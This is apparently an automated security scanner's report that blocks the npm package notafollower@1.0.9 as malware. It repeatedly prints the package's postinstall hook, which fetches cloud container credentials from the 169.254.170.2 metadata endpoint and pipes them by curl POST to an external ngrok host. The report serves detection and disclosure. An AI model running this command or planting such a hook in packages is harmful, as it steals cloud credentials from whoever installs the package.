notafollower@1.0.9: Malicious npm security report (Block)

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Installation automatically retrieves cloud-instance credentials and transmits the response externally.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm postinstall during package installation.

Impact

Exfiltration of cloud instance credentials from the installing environment.

Mechanism

metadata credential harvesting piped to external HTTP POST

Attack narrative

On installation, the postinstall shell command fetches a cloud metadata credentials resource, prints its response, and pipes that response into curl configured to POST to an external ngrok endpoint. This is an unconsented credential-exfiltration chain.

Rationale

Direct source inspection confirms an install-time cloud-credential harvesting and exfiltration command. There is no benign package functionality to offset this behavior.

Evidence

package.json

Network endpoints2

169.254.170.2/v2/credentials/mourner-slot-explicit.ngrok-free.dev

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines an automatic postinstall hook.
The hook fetches from a link-local cloud credentials endpoint.
It pipes the fetched response to an external ngrok host via curl POST.

Evidence against

No other package files or legitimate runtime functionality are present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node -e "fetch('http://169.254.170.2/v2/credentials/fda1254f-0477-4b61-bf06-6ca32415026c').then(r=>r.text()).then(console.log)" | curl -X POST 'https://mourner-slot-explicit.ngrok-...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch('http://169.254.170.2/v2/credentials/fda1254f-0477-4b61-bf06-6ca32415026c').then(r=>r.text()).then(console.log)" | curl -X POST 'https://mourner-slot-explicit.ngrok-...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

4"scripts": { "postinstall":

High

Suspicious Lifecycle Evidence

package.json defines an automatic postinstall hook.

package.jsonView on unpkg · L4

5fetch('http://169.254.170.2/v2/credentials/

High

Ai Review Evidence

The hook fetches from a link-local cloud credentials endpoint.

package.jsonView on unpkg · L5

5| curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-

High

Ai Review Evidence

It pipes the fetched response to an external ngrok host via curl POST.

package.jsonView on unpkg · L5

package.json#scripts.postinstallView file

1"fetch('http://169.254.170.2/v2/credentials/fda1254f-0477-4b61-bf06-6ca32415026c').then(r=>r.text()).then(console.log)" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev...

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

package.json#scripts.postinstallView on unpkg · L1

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "fetch('http://169.254.170.2/v2/credentials/fda1254f-0477-4b61-bf06-6ca32415026c').then(r=>r.text()).then(console.log)" | curl -X POST 'https://mourner-slot-explicit.ngrok-...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch('http://169.254.170.2/v2/credentials/fda1254f-0477-4b61-bf06-6ca32415026c').then(r=>r.text()).then(console.log)" | curl -X POST 'https://mourner-slot-explicit.ngrok-...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

4"scripts": { "postinstall":

High

Suspicious Lifecycle Evidence

package.json defines an automatic postinstall hook.

package.jsonView on unpkg · L4

5fetch('http://169.254.170.2/v2/credentials/

Findings

1 Critical5 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighCloud Metadata Accesspackage.json#scripts.postinstall

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

LowScripts Present

LowNo License